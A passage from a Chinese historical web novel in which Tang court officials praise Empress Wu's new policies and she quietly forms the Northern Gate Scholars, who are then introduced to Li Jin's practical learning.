司农卿手持笏板,声音洪亮,显然有备而来:“陛下,臣奉旨,汇总关内、河南、河东、河北四道二十个试点州县夏粮收成及新式农具推广情形。截至六月底,二十州夏粮 总 产, 较 去 年 同 期 平 均 增 加 一 成 有 余, 其 中 推 广 新 式 农 具 较 为 彻 底 的 华 州、 同 州、 怀 州、 卫 州 等 八 州, 增 产 更 是 达 到 一 成 半 至 两 成! 而 同 期 此 二 十 州 因 水 旱 虫 灾 导 致 的 减 产 面 积, 较 往 年 亦 有 所 下 降, 据 地 方 奏 报, 新 式 钢 犁 翻 地 更 深, 筒 车 灌 溉 及 时, 对 抗 旱 能 力 确 有 提 升。”
增产一到两成!在农业时代,这是一个相当可观的数字!殿中顿时响起一片低低的惊叹和议论声。许多官员,尤其是出身农桑大族的,自然明白这个数字意味着什么——更多的粮食,更稳定的收成,更少的饥荒风险。
“然,” 司农卿话锋一转,“亦非全然顺遂。其中幽州、易州等地,因去岁冬雪不足,今春又逢小旱,虽推广新器,然水源匮乏,增产不甚明显。另有沧州、德州二地,上报增产数据与巡察御史暗访所获,差距较大,已着有司核查是否存在虚报。 但 总 体 而 言, 新 式 农 具 之 效, 已 得 初 步 验 证, 尤 其 在 水 土 条 件 相 对 较 好 之 地 区, 效 果 显 著。 至 于 赊 购 农 具 之 情 形, 二 十 州 共 计 赊 出 各 类 新 式 农 具 三 万 余 件, 契 约 履 行 平 顺, 暂 未 发 现 大 规 模 强 迫 或 勒 索 情 事, 御 史 台 接 获 相 关 投 诉 仅 十 余 起, 多 为 细 节 纠 纷, 已 责 成 地 方 妥 善 处 置。”
成绩是主要的,问题也存在,但可控。这番汇报,客观中带着肯定,让人难以辩驳。
接着,户部尚书出列,汇报“薄赋徭”相关情况。“陛下,自正月诏令颁行,严禁擅征杂税、滥发徭役以来,御史台及各道按察使共查处地方 擅 立 名 目 加 征 赋 税 案 十 七 起, 涉 及 县 令、 主 簿 等 官 员 二 十 余 人, 已 依 律 黜 落 治 罪, 并 追 缴 赃 款, 退 还 百 姓。 去 岁 受 灾 十 余 州 县 的 ‘ 庸’ 役 减 免 亦 已 落 实。 地 方 工 役 公 示 与 备 案 制 度, 在 大 部 分 州 县 得 以 推 行, 虽 偶 有 因 突 发 急 务 事 后 补 报 者, 但 鲜 有 再 敢 公 然 违 令 滥 征 者。 据 各 地 反 映, 今 春 以 来 民 间 对 徭 役 的 怨 声 与 抵 触, 较 往 年 同 期 有 所 减 少。 当 然, 地 方 公 用 钱 粮 因 此 更 显 紧 张, 尤 其 是 支 付 必 要 工 役 酬 劳 一 项, 确 实 造 成 不 小 压 力, 需 朝 廷 后 续 予 以 支 持。**”
打击了贪腐,减轻了民负,但也带来了新的财政压力。汇报同样实事求是。
最后,由新任知匦使(负责铜匦事务,由中书省、门下省各派一名郎中担任)出列,汇报“广言路,杜谗言”政策试行数月来的情况。这是最受关注,也最令人忐忑的部分。
“陛下,自三月 铜 匦 设 立 以 来, 光 顺 门 外 四 匦, 累 计 收 到 各 类 投 书 一 千 二 百 余 封。” 知匦使的声音略显紧张,毕竟这是前所未有的新事物,“其中, 青 匦( 言 政 事 得 失 与 进 献) 约 四 百 封, 多 为 士 子、 乡 绅 所 献 诗 赋 策 论, 亦 有 对 地 方 施 政 的 具 体 建 言; 丹 匦( 言 朝 政 得 失) 约 三 百 封, 内 容 涉 及 朝 廷 各 项 政 令、 官 员 风 评 等, 其 中 不 乏 尖 锐 批 评; 白 匦( 申 冤) 约 四 百 余 封, 多 为 陈 诉 田 土、 婚 姻、 债 务 及 官 司 冤 抑; 黑 匦( 告 天 文 秘 谋 等) 不 足 百 封, 内 容 多 荒 诞 不 经。”
他顿了顿,继续道:“ 依 照 规 程, 我 等 会 同 御 史 台 御 史, 对 所 有 投 书 进 行 了 初 步 筛 查。 对 于 明 显 荒 诞、 毫 无 实 据 的 攻 讦 或 诬 告( 约 占 一 成), 已 予 以 存 档 备 查, 未 予 上 报。 对 于 有 一 定 内 容 或 线 索 的 投 书, 已 分 类 整 理, 其 中 涉 及 地 方 官 员 不 法 或 重 大 事 项 的 一 百 余 封, 已 移 交 御 史 台 或 相 关 部 门 进 行 正 式 调 查。 目 前 已 有 三 十 余 起 调 查 完 结。**”
所有人的心都提了起来。调查结果如何?
“ 经 查 证 属 实 或 部 分 属 实 者, 共 十 五 起。” 知匦使提高了声音,“ 其 中, 查 实 并 处 置 州 县 官 员 贪 墨、 枉 法、 欺 压 百 姓 案 八 起, 涉 案 官 员 十 一 人, 已 被 革 职 拿 问; 纠 正 地 方 错 判 冤 狱 三 起, 四 人 得 以 平 反; 此 外, 还 通 过 投 书 线 索, 发 现 并 制 止 了 两 起 地 方 豪 强 勾 结 胥 吏 侵 占 官 田 的 企 图。 对 于 查 证 属 实 的 有 功 投 书 人, 已 按 规 给 予 了 相 应 的 金 帛 赏 赐 或 荣 誉 性 褒 奖。”
“ 而 经 查 证 属 于 明 确 诬 告、 且 造 成 一 定 恶 劣 影 响 的, 共 两 起。” 知匦使语气转厉,“ 一 起 为 长 安 市 井 无 赖, 因 私 怨 诬 告 一 名 低 品 官 员 贪 污, 导 致 该 官 员 被 暂 停 职 务 接 受 调 查, 名 誉 受 损; 另 一 起 为 洛 阳 一 名 被 罢 黜 的 胥 吏, 心 怀 不 满, 捏 造 事 实 攻 讦 现 任 洛 州 别 驾。 此 二 人 已 被 御 史 台 依 律 逮 捕, 并 将 以 诬 告 反 坐 之 罪 严 惩, 以 儆 效 尤。 其 余 大 部 分 投 书, 或 查 无 实 据, 或 事 出 有 因 但 未 构 成 违 法, 已 按 程 序 存 档 或 转 有 司 酌 情 处 理。”
铜匦运行数月,收到了大量投书,经过初步筛选和调查,确实揪出了一些蠹虫,平反了几桩冤案,也惩罚了诬告者。虽然只占投书总量的一小部分,但效率和作用已初步显现。更重要的是,它传递了一个明确的信号:民间有了一条可以直达天听、并且可能起作用的申诉渠道,而恶意构陷者将面临严厉惩罚。
殿中一片安静,只有知匦使的声音在回荡。许多官员,尤其是那些品行相对端正、或身处中下层、也曾受困于信息不畅或上级压力的官员,心中竟不由得生出几分复杂的感觉。这铜匦,固然让人如芒在背,但也未尝不是一柄悬在贪腐枉法者头上的利剑,同时,对于受冤屈者,也似乎多了一线希望。而那些曾经激烈反对设立铜匦的官员,此刻听着这“成绩单”,脸色变幻,想要再找出强有力的反对理由,却发现已不那么容易——事实似乎证明,在相对完善的规程和监督下,铜匦并未像他们预想的那样沦为“诲言蜂起、诬告成风”的灾难,反而起到了一定的积极作用。
“关于御史台追查流言之事,” 知匦使最后补充道,“数月来,御史台依新规,对几起在官员中传播较广、内容涉及攻击宰辅、离间君臣的恶意流言进行了追查,已查明源头,并对两名散布谣言、意图不轨的低品官员进行了训诫和调职处理。此类案件虽不多,但 对 遏 制 朝 中 以 谣 言 攻 讦 的 歪 风, 确 有 震 慑。 目 前 朝 堂 之 上, 公 开 议 论 政 事 的 氛 围 有 所 改 善, 但 私 下 的 议 论 与 猜 测, 仍 难 以 完 全 禁 绝。**”
情况汇报完毕。殿中再次陷入沉默,但这次的沉默,与之前质疑争论时的凝重不同,更多是一种消化信息、权衡利弊的沉思。
皇帝李治打破了沉默,他目光扫过众臣,缓缓开口,声音沉稳有力:“诸卿都听到了。 劝 农 桑, 新 器 得 力, 粮 产 有 增; 薄 赋 徭, 惩 治 贪 墨, 民 怨 稍 解; 广 言 路, 铜 匦 初 效, 蠹 虫 得 除, 诬 告 受 惩; 杜 谗 言, 流 言 稍 戢, 朝 议 稍 靖。 此 皆 皇 后 心 系 社 稷, 首 倡 德 政, 朕 与 诸 卿 共 同 努 力, 方 有 此 阶 段 之 成 效。 虽 有 不 足, 如 地 方 财 用 紧 张、 个 别 地 区 效 果 不 彰、 铜 匦 运 作 仍 需 完 善 等, 然 大 体 方 向 无 误, 利 国 利 民 之 效 已 现。 诸卿以为如何?”
皇帝的话,为这半年的新政推行做了总结定性——方向正确,初见成效,皇后首倡之功不可没。
短暂的静默后,中书令于志宁率先出列,躬身道:“陛下圣明,皇后殿下仁德。新法初行,能得此成效,实属不易。老臣以为, 当 继 续 推 行, 并 总 结 经 验, 完 善 不 足, 尤 其 是 要 解 决 好 地 方 财 用 与 政 策 落 实 的 具 体 问 题。 臣 为 陛 下, 为 天 下 贺!”
于志宁的表态,代表了务实派官员的认可。
紧接着,吏部侍郎李义府、中书舍人等一批“拥武派”及中下层官员纷纷出列,盛赞新政之效,感念皇后之德,言辞恳切。许多原本中立的官员,见成效确实不错,且皇帝态度明确,也纷纷附和,称颂“皇后殿下真乃 国 之 良 佐”、“ 陛 下 得 此 贤 后, 实 乃 社 稷 之 福”。殿中称“善”之声,渐渐连成一片。
长孙无忌、褚遂良、韩瑗、来济等人,面色复杂地站着。他们心中或许仍有疑虑,对铜匦等制度的长远影响依旧担忧,对武媚娘借新政扩大影响力更是警惕,但在眼前这“增产除弊、朝议稍靖”的“事实”面前,在皇帝明确的肯定与众多官员的称颂声中,他们若再强行唱反调,不仅显得不顾大局、心胸狭隘,更可能触怒皇帝,失去更多人心。
褚遂良嘴唇翕动了几下,最终化作一声几不可闻的叹息,闭口不言。长孙无忌目光深沉,缓缓出列,声音平静无波:“陛下,皇后殿下心念黎庶,所倡之策初见成效,老臣亦为陛下贺。然, 行 百 里 者 半 九 十。 望 陛 下 与 政 事 堂 诸 公, 能 持 之 以 恒, 不 断 完 善, 尤 其 要 防 止 执 行 中 的 偏 差 与 新 弊 滋 生, 方 能 使 此 善 政 真 正 惠 及 苍 生, 福 泽 长 远。 老 臣 等, 自 当 尽 心 辅 佐。”
他这番话,看似勉励,实则隐含告诫,强调“防止偏差”、“福泽长远”,为自己留下了未来可能批评的余地,姿态也算得体。
皇帝李治微微一笑:“太尉所言甚是,朕与诸卿共勉之。” 他目光转向殿侧记录的史官与中书舍人,“今日所议,皇后‘建言十二事’之前两条, 劝 农 桑 薄 赋 徭、 广 言 路 杜 谗 言, 推 行 有 功, 效 果 显 著, 百 官 称 善。 着 史 馆 记 录, 并 明 发 诏 书, 褒 奖 有 功 人 员, 并 将 此 成 效 晓 谕 天 下, 以 彰 朝 廷 励 精 图 治 之 心。 皇 后 首 倡 之 功, 不 可 或 忘。 另, 着 政 事 堂, 即 刻 着 手, 研 议 ‘ 建 言 十 二 事’ 其 余 各 条 之 推 行 细 则, 择 其 善 者, 逐 步 推 开。**”
“臣等遵旨!陛下圣明!皇后殿下千岁!” 山呼声中,透着一种对新政成效的认可,以及对未来的某种期待。
大朝散去,消息如同长了翅膀,迅速传遍宫廷内外。立政殿中,武媚娘很快就得知了朝堂上“百官称善”的景象与皇帝的诏令。她放下手中的笔,走到窗前,望着庭中郁郁葱葱的草木,脸上并无太多激动之色,只有一丝如释重负的平静,以及眼眸深处更加明亮的、名为野心的火焰。
她知道,这“百官称善”的局面来之不易,是李瑾在朝前精心筹划、在朝中巧妙周旋的结果,也是皇帝鼎力支持、各方势力暂时平衡的产物。这第一步,她走稳了。经此一事,她“贤德”、“有见识”、“能佐治国”的形象,将在朝野得到空前的巩固与提升,她的政治声望,将迎来一次急剧的攀升。从今往后,她不再仅仅是依靠皇帝宠爱和“非常手段”上位的皇后,而是凭借实实在在的“政绩”与“德政”,赢得了相当一部分朝臣与民心认可的、有政治影响力的国母。
然而,她也清醒地意识到,长孙无忌等人的暂时沉默,不代表他们心悦诚服。新的挑战,如“建言十二事”中那些更触及根本利益(如“父在为母服齐衰三年”、“益禀入”、“得进陟”等)的条款,推行起来必将更加艰难。她需要更稳固的权力基础,更高效的执行团队,更广泛的支持网络。
一个念头,在她心中愈发清晰——是时候,组建完全属于自己的、能够出谋划策、掌控舆论、推行意志的智囊团队了。
夏日的阳光透过窗棂,洒在她沉静而坚定的面容上。雏凤清声,已初试啼鸣,且赢得了满堂喝彩。接下来,她将振翅飞向更高、更广阔的天空,而那需要更坚韧的羽翼,与更默契的同盟。
第86章 北门学士立
贞观二十五年的秋天,似乎比往年来得更早、也更深刻些。八月初,几场连绵的秋雨过后,长安城便褪去了盛夏的燥热,空气中弥漫着一种清凉而沉静的气息。然而,在皇城大内,尤其是立政殿与两仪殿之间流动的无形气流中,却蕴含着一种与季节变换截然不同的、暗涌着筹谋与积蓄的力量感。
“建言十二事”前两条政策的显著成效与“百官称善”的朝议结果,如同为皇后武媚娘的政治声望镀上了一层坚实的金身。朝野上下,无论是出于真心钦佩还是审时度势,对她“贤德佐政”的评价已蔚然成风。皇帝李治对皇后的倚重与信任,也在这实实在在的“政绩”面前,达到了一个新的高度。他开始更频繁地将一些涉及官员考课、地方民情、乃至部分不甚紧要的财政奏疏,交由皇后“参详”,或直接带回立政殿,在共进晚膳时随意谈论。帝后之间的这种“共议”,虽未明定规制,却已渐渐成为紫宸殿与立政殿之间一种心照不宣的常态。
武媚娘并未因这骤升的声望与皇帝的信任而有丝毫懈怠或自满。相反,她比以往任何时候都更加清醒,也感到一种前所未有的、对“自身力量”的渴求。“建言十二事”的提出与初步成功,虽有李瑾在幕后运筹、皇帝在前朝支持,但她深切地感受到,自己缺乏一个完全听命于己、能深入理解她的政治理念、并能高效执行她意志的核心团队。许敬宗、李义府等人固然可用,但他们首先是朝臣,有自身的利益盘算与政治根基,且多在明处,易受攻讦。她需要一批更年轻、更具可塑性、与她绑定更紧密、且能避开朝堂明面目光的“自己人”——一批能够为她草拟诏令、分析时政、出谋划策、乃至在士林中引导舆论的文人学士。
这个念头,在她心中酝酿已久。如今声望正隆,皇帝信任,正是付诸实施的最佳时机。但此事必须做得巧妙、隐秘,且名正言顺,不能授人以“结党营私”、“后宫干政”的口实。
她首先与皇帝李治做了一次深入的沟通。在一个秋月皎洁的夜晚,帝后于立政殿露台赏月时,武媚娘以极为恳切而忧虑的语气,向皇帝倾诉:
“陛下,蒙陛下不弃,使妾得以参闻些许政事,为陛下分忧。然妾自知才疏学浅,于经史典籍、古今治乱,所知终究有限。近来陛下常以奏章相询,妾虽勉力思索,仍恐见识鄙陋,贻误陛下圣听。且……如今‘建言’之事,虽有小成,然推行愈深,所遇阻挠与争议必愈多。妾闻, 欲 行 大 道, 必 先 明 理; 欲 服 众 心, 必 先 通 辞。 妾 欲 于 宫 中, 择 一 静 室, 时 常 召 集 几 位 学 识 渊 博、 品 行 端 方 的 文 学 之 士, 为 妾 讲 解 经 史, 论 析 时 政, 使 妾 能 增 广 见 闻, 陶 冶 性 情, 将 来 也 好 更 好 地 辅 佐 陛 下, 不 至 于 因 无 知 而 妄 言, 因 蔽 塞 而 误 事。 不 知 陛 下 以 为 可 否?”
她将自己的诉求,包装成“求学上进”、“更好地辅佐皇帝”的“贤后”本分,姿态放得极低,理由也冠冕堂皇。同时,也隐晦地提及了推行新政可能遇到的阻力,暗示需要“通辞”以“服众心”,为这个“学习小组”未来可能发挥的“智囊”作用埋下伏笔。
皇帝李治闻言,非但没有疑心,反而大加赞赏,握着她的手道:“皇后能有此上进之心,实乃朕之幸事,亦天下女子之楷模!皇后欲寻师求学,此乃大善!朕准了!皇后看中何人,但说无妨,朕即刻下旨,命其入宫为皇后讲学。”
“陛下,” 武媚娘微微摇头,柔声道,“此事不宜过于张扬。若大张旗鼓下旨征召名儒入宫,恐惹朝臣非议,言妾奢靡或干预外朝。不若……由妾暗中留意, 择 选 那 些 品 学 兼 优、 家 世 清 白 但 暂 时 沉 沦 下 僚 或 闲 居 京 中 的 文 士, 以 ‘ 修 撰 宫 中 旧 籍’、 ‘ 整 理 先 贤 诗 文’ 等 名 义, 偶 尔 召 其 入 宫 觐 见, 于 立 政 殿 偏 殿 或 后 苑 书 斋 中 讨 论 学 问。 如 此, 既 不 显 山 露 水, 又 能 达 到 求 学 之 目的, 可 好?**”
她提出了一个更加隐秘、灵活,且表面看来“无害”的操作方式——以“修书”、“整理”等文化工作的名义,召见文人。这既符合皇后“雅好文史”的形象,又能将实质性的政治讨论掩盖在“学问交流”之下。
皇帝略一思忖,觉得此法甚妥,既全了皇后好学之心,又避免了不必要的麻烦,便点头应允:“皇后思虑周详,就依皇后所言。需要哪些人手,皇后可自行斟酌,只需将名单告知于朕,朕让内侍省安排便是,对外只说是奉旨修书。”
有了皇帝的默许甚至支持,武媚娘便开始紧锣密鼓地物色人选。她没有通过正规的朝臣荐举渠道,而是动用了多条隐秘的线。她让秋月通过郭老夫人等信得过的命妇,在官宦女眷中打听那些家道中落、但子弟颇有才名、且对现状有所不满的年轻士子。她仔细翻阅“铜匦”中那些来自青匦、丹匦的投书,从中筛选文笔流畅、见解独到、且无明显政治倾向(或倾向与己方暗合)的落款者信息。她还让刘神威在太医署同僚中留意,是否有精通医术又熟读经史的儒医之后。同时,她也通过特殊的渠道,将意欲“招募若干文士整理宫中藏书、编纂后妃懿范”的消息,隐晦地传递给了李瑾。
李瑾很快领会了她的意图,并给予了积极的回应。他利用自己掌管“格物所”、接触各类匠人官吏,以及与“墨香茶舍”等士子聚集地保持联系的便利,暗中留意了一批人选。这些人有几个共同特点: 年 龄 不 大( 多 在 二 十 五 至 四 十 之 间), 出 身 中 等 或 寒 微, 有 真 才 实 学 但 科 举 或 仕 途 不 甚 顺 遂, 对 朝 中 门 阀 壅 滞 的 现 状 有 所 不 满, 思 想 相 对 开 明, 不 排 斥 “ 实 学” 新 政, 且 多 有 文 采, 擅 长 草 拟 文 书。 更重要的是,他们渴望机遇,有强烈的上进心,且尚未被任何一方大势力牢固笼络。
经过近一个月的秘密考察与筛选,一份约六七人的初步名单,被悄然呈送到了立政殿武媚娘的案头。名单上附有简要的生平、专长、性情及李瑾的评语。武媚娘仔细审阅,反复斟酌,最终圈定了四人作为首批召见对象。
八月下旬,一个秋风送爽的下午,四名身着朴素文士袍、神色间带着几分好奇、紧张与隐隐兴奋的年轻人,在内侍的引导下,并未走皇城正门,而是经由玄武门(北门)附近的一处侧门,悄无声息地进入了后宫范围,最后被引至立政殿后苑一处名为“集贤斋”的僻静书房。此处远离前朝与妃嫔日常活动的区域,环境清幽,藏书颇丰,是武媚娘特意选定的“讲学”场所。
四人之中,有出身没落官宦之家、屡试不第但诗文名动洛阳的元万顷;有精通《汉书》、《史记》,因议论时政尖锐而被地方长官排挤、辞官闲居长安的刘祎之;有父亲是太医、自身却酷爱经史、对医国之道颇有见解的范履冰;还有一位是出身商贾、却酷爱读书、因捐资助学而得了个“文学”散官衔、文笔极为敏捷的周思茂。这四人,皆在各自领域小有名气,却又都因种种原因远离权力中心,正处在人生的困顿与求变期。
他们在集贤斋内静候片刻,心中不免忐忑,不知皇后召见所为何事。不多时,一阵环佩轻响,皇后武媚娘在秋月等两名宫女的陪同下,款步而入。她今日未着正式后服,只穿一袭月白色的常服,发髻简单,未戴过多饰物,显得清雅从容,唯有眉宇间那股经年历练出的沉静威仪,令人不敢直视。
“诸君不必多礼,请坐。” 武媚娘在主位坐下,声音温和,目光缓缓扫过四人。她的目光并不锐利,却仿佛能穿透人心,让四人不由自主地挺直了脊背。
“今日请诸君来,” 武媚娘开门见山,语气平淡却带着一种不容置疑的分量,“非为寻常讲经论史。本宫蒙陛下信重,偶涉政务,深感才疏学浅,于治国安民之道,所知甚少。然,既在其位,当谋其政。本宫闻诸君皆饱学之士,各有专长,然或因时运,或因性情,暂未得展抱负。今日请诸君来,是欲与诸君 共 同 学 习, 探 讨 经 史 中 的 治 国 之 道, 分 析 当 今 朝 政 之 得 失, 以 求 增 广 见 闻, 明 辨 是 非。 此 事, 陛 下 已 知 晓, 并 予 以 支 持。 不 知 诸 君, 可 愿 拨 冗 前 来, 与 本 宫 切 磋 琢 磨?”
她将“智囊”的性质,定义为“共同学习、探讨”,既抬高了四人的地位(“切磋”),又明确了活动的“学术”外壳,同时也暗示了皇帝的支持,消除了他们最大的顾虑。
四人闻言,心中皆是一震。他们来时虽有猜测,但没想到皇后如此直白,且姿态如此诚恳!与皇后“共同学习、探讨治国之道”?这意味着什么?意味着他们有可能接触到帝国最高层的政治思考,甚至可能通过影响皇后的见解,间接地影响朝政!这对于他们这些仕途困顿、怀才不遇的文人来说,简直是梦寐以求的机遇!
元万顷率先离座,躬身道:“皇后殿下虚怀若谷,折节下问,臣等岂敢不从?能得殿下垂青,共论经国大道,实乃臣等三生之幸!必当竭尽愚钝,以报殿下知遇之恩!”
刘祎之、范履冰、周思茂也连忙起身,激动表态,愿效犬马之劳。
“诸君请起。” 武媚娘微微一笑,示意他们坐下,“既如此,日后便要有劳诸君了。 此 处 集 贤 斋, 便 是 我 等 论 学 之 所。 为 行 事 方 便, 不 引 人 注 目, 以 后 诸 君 入 宫, 皆 从 北 门( 玄 武 门 附 近 侧 门) 而 入, 对 外 可 称 是 奉 旨 修 撰 宫 中 典 籍。 你 们 在 此, 可 自 由 阅 览 藏 书, 撰 写 文 章, 本 宫 有 疑 问 时, 会 前 来 讨 教; 有 时 亦 会 将 一 些 不 涉 机 要 的 时 政 议 题, 交 由 诸 君 分 析 论 证, 草 拟 意 见。 一 应 用 度, 皆 由 宫 中 支 应。 诸 君 在 外 的 家 小 生 计, 本 宫 亦 会 着 人 妥 善 照 料, 使 诸 君 无 后 顾 之 忧, 专 心 学 问。”
她给出了具体的安排:隐秘的进出通道(北门)、公开的掩护身份(修撰典籍)、优厚的待遇与保障,以及明确的职责(分析时政、草拟意见)。这已远远超出了普通的“讲学”范畴,分明是在组建一个享有特殊待遇、直接为皇后服务的核心智囊与秘书班子。
四人心中激动更甚,同时也感受到了沉甸甸的责任。他们明白,从踏入这“集贤斋”、应下皇后之邀的那一刻起,他们的命运就已与这位深不可测的皇后紧紧绑在了一起。这是一场前途未卜的豪赌,但机遇实在太过诱人。
“臣等,谨遵皇后殿下懿旨!必当尽心竭力, 为 殿 下, 为 陛 下, 为 大 唐 社 稷, 贡 献 绵 薄!” 四人再次郑重下拜。
“好。” 武媚娘点点头,眼中闪过一丝满意的光芒,“今日便先如此。诸君可先熟悉此处环境,阅览藏书。三日后午后,本宫会再来,届时,想与诸君探讨一下, 对 于 当 前 推 行 的 ‘ 劝 农 桑 薄 赋 徭’、 ‘ 广 言 路 杜 谗 言’ 二 政, 有 何 深 化 与 完 善 之 策, 以 及 …… 对 于 接 下 来 可 能 推 行 的 ‘ 父 在 为 母 服 齐 衰 三 年’ 等 礼 法 之 议, 有 何 看 法。 诸君可先行思考,备下文章。**”
第一次会面,她便布置了具体的“作业”,将智囊团的功能立刻引向了实际政务,其务实与高效的作风,令四人印象深刻。
“臣等领命!”
武媚娘起身离去,留下四人在集贤斋中,心潮澎湃,久久不能平静。他们知道,一个全新的、可能改变他们一生、甚至影响朝局走向的“团体”,就此悄然成立。因其成员常自北门出入,私下里,他们开始自称,也被知情人隐约称为——“ 北 门 学 士”。
消息并未大范围传开,但有心人如长孙无忌、褚遂良等,还是隐约听闻皇后招了几个文人“修书”。他们虽有些疑虑,但见是“修书”这类清贵闲职,且人数不多,暂时并未给予过多关注。然而,他们并不知道,这几位从北门悄然入宫的“学士”,将在未来,成为武媚娘手中最锋利、也最隐秘的笔刀与智囊,为她刺破重重迷雾,书写属于她的政治篇章。
秋日的阳光透过窗棂,洒在集贤斋满架的典籍上,也洒在这四位目光灼灼、满怀期待的年轻文人身上。一个新的、充满潜力与未知的政治力量,在这深宫一隅,悄然萌芽。
第87章 瑾为学士师
“北门学士”的设立与首次会面,如同一枚投入深潭的石子,在立政殿后苑那方名为“集贤斋”的静谧天地里,激起了只有当事人才能感知的、持久而深沉的涟漪。元万顷、刘祎之、范履冰、周思茂四人,自此便成了这宫禁深处的“常客”。他们每日自北门侧道悄然入宫,在集贤斋中或潜心阅读宫内珍藏的经史子集、舆图档案,或根据皇后偶尔留下的题目(多与当前朝政、礼法争议或历史借鉴相关)撰写策论、分析文章,时而低声讨论,时而奋笔疾书。斋内供应着上好的茶点、笔墨纸砚,环境清雅无人打扰,对他们这些长期郁郁不得志的文人而言,不啻为一方理想中的治学桃源。然而,他们深知,这桃源并非终点,而是通向更高、更不可测境界的起点。皇后所期待的,绝非仅仅是几篇锦绣文章。
首次会面三日后,武媚娘如约再次驾临集贤斋。她仔细翻阅了四人就“劝农桑薄赋徭”、“广言路杜谗言”深化之策以及“父在为母服齐衰三年”礼法之议所撰写的文章,时而颔首,时而凝思,偶尔就某些观点发问。元万顷文采斐然,长于铺陈渲染利弊;刘祎之引经据典,善于从历史中寻找依据和警示;范履冰分析缜密,逻辑性强;周思茂则视角新颖,常能从实际民生、经济角度提出具体建议。四人各有所长,但也暴露出一些共通的问题:思想框架仍不脱传统经史范畴,对当前朝廷正在推行的“实学新政”缺乏深入理解,对某些超出经典范畴的“新事物”(如“格物所”的成果、海贸战略等)更是陌生甚至心存疑虑。
武媚娘并未当场品评高下,只是温和地勉励了几句,留下新的思考题目(涉及“益禀入”、“得进陟”等“建言十二事”后续条款),便告辞离去。然而,她心中已有计较。要让这几位“学士”真正成为她得力的臂膀,理解并贯彻她的政治意图,仅仅依靠传统的经史教育是远远不够的。他们需要了解、甚至在一定程度上认同李瑾所代表的那种务实、重效、开拓、且不拘泥于成法的“新学”思想。只有如此,他们起草的文书、提出的策略,才能与李瑾在朝堂上的行动形成默契,与皇帝越来越重视的“实务”导向相契合,也才能帮助她在与长孙无忌等守旧势力的博弈中,拥有更锐利、更“现代”的思想武器。
但此事她不便亲自去做。一来,她自身对某些“实学”精微之处也并非完全通晓;二来,皇后亲自教授“奇技”或“非正统”思想,容易授人以柄。最合适的人选,自然是李瑾。他是“实学”与“新政”的灵魂人物,思想体系最为完整,且与“北门学士”未来的工作息息相关。让他来为这些学士“启蒙”,再合适不过。这也能进一步加强李瑾与她这个核心智囊团的联系,形成更紧密的“知识-权力”联盟。
数日后,一封盖有皇后私印的密信,经由郭老夫人之手,送到了李瑾府上。信中,武媚娘委婉提及“集贤斋”中诸学士“才学俱佳,然于时务新学,颇有隔膜”,担心“恐其未来所拟文字,不能深体圣意与时需”,最后询问李瑾“若有闲暇,可否拨冗,为诸生略作点拨,使其知晓朝廷新政之本意、格物实务之要略,以开茅塞,以利将来?”
李瑾读完信,会心一笑。他明白武媚娘的用意,也深知此举的必要性。“北门学士”是她未来重要的文胆和智囊,若思想不能与自己同调,未来难免会出现内部摩擦或理解偏差,影响效率,甚至可能产生不必要的内耗。由自己来担任这个“启蒙老师”的角色,不仅能统一思想,也能借机观察、评估这几位未来可能的重要“盟友”,并从一开始就将自己的影响力渗透进这个新兴的权力小圈子。
他很快回信,表示“谨遵皇后殿下懿旨,愿与诸学士切磋学问,共探治国良策”,并提出了一个相对稳妥的见面方式——以“ 格 物 所 新 得 海 外 图 籍、 异 域 见 闻, 欲 与 饱 学 之 士 共 鉴, 兼 讨 论 经 世 济 民 之 道”** 为由,邀请“集贤斋”四位学士,前往位于将作监衙署深处、相对僻静的“格物所”藏书楼一晤。时间定在旬休之日,以避人耳目。此议经武媚娘首肯,很快便安排妥当。
九月中的一个旬休日,天朗气清。元万顷、刘祎之、范履冰、周思茂四人接到内侍通知,换上了不起眼的常服,依旧从北门出宫,并未回各自住处,而是乘上早已等候在附近的、没有任何标识的马车,在城中绕行片刻后,悄无声息地驶入了皇城将作监的侧门,直达“格物所”所在的独立院落。
“格物所”经过数年发展,早已不是当初那个简陋的工坊。院落宽敞,屋舍俨然,分为匠作区、试验场、藏书楼、议事厅等多个部分。空气中弥漫着木料、金属、纸张和墨汁混合的独特气息,隐约还能听到远处工棚里传来的敲打、锯木之声,与集贤斋的静谧书香截然不同,却别有一种生机勃勃的活力。
四人被引入藏书楼二层一间宽敞明亮的静室。室内陈设简洁,靠墙是高大的书架,摆满了各类书籍、卷轴、图册,其中不少书脊上的文字他们从未见过。中间一张巨大的长条木桌,铺着素色桌布,摆放着茶具和几碟时新果子。李瑾已在此等候,他今日亦着常服,神色温和,见四人进来,起身相迎。
“诸位学士,有失远迎,快请坐。” 李瑾拱手为礼,态度自然,毫无当朝宰相的架子。
四人连忙还礼,口称“李相”,神色间既带着对当朝红人、实学领袖的敬畏,也有一丝对这次特殊会面的好奇与隐隐期待。
分宾主落座,侍者奉上清茶后退下。李瑾没有过多寒暄,开门见山道:“今日请诸君来,非为公务。皇后殿下体恤诸君学识,又知某于‘格物’、‘实务’之事略知皮毛,故让某借此僻静之地,与诸君闲谈, 交 流 所 学, 互 相 切 磋。 诸君皆是饱学之士,经史子集,造诣远胜于某。然, 治 国 如 烹 小 鲜, 除 了 经 典 之 道, 亦 需 明 时 务, 知 变 通, 察 实 情。 不 知 诸 君 以 为 然 否?**”
他将自己放在相对“专业”(格物实务)而非“博学”的位置,姿态放低,又将讨论定义为“交流切磋”,营造了平等探讨的氛围。
元万顷代表四人答道:“李相过谦了。相爷‘实学’济世,功在社稷,天下皆知。吾等虽读圣贤书,然于时务经济,确多隔膜。今日能得相爷指点,实乃幸事。”
“指点不敢当。” 李瑾笑了笑,端起茶盏轻啜一口,目光扫过四人,“既是交流,便不拘一格。诸君可有什么想问的?关于‘格物所’所做之事,关于朝廷近年新政,乃至对皇后殿下‘建言十二事’的看法,皆可畅所欲言。今日所言,出得此门,入得我耳,但求坦诚,不必顾忌。”
他给出了一个开放而安全的讨论空间。刘祎之性子较直,率先发问:“李相,恕学生直言。朝野对‘实学’、‘格物’,赞誉者众,然质疑者亦不少。有言此乃‘奇技淫巧’,非治国正道;有言过于重利,恐坏人心淳朴。不知相爷如何看待此等议论?‘实学’之于治国,究竟处于何等地位?”
这个问题很尖锐,也代表了相当一部分传统士人的疑惑。
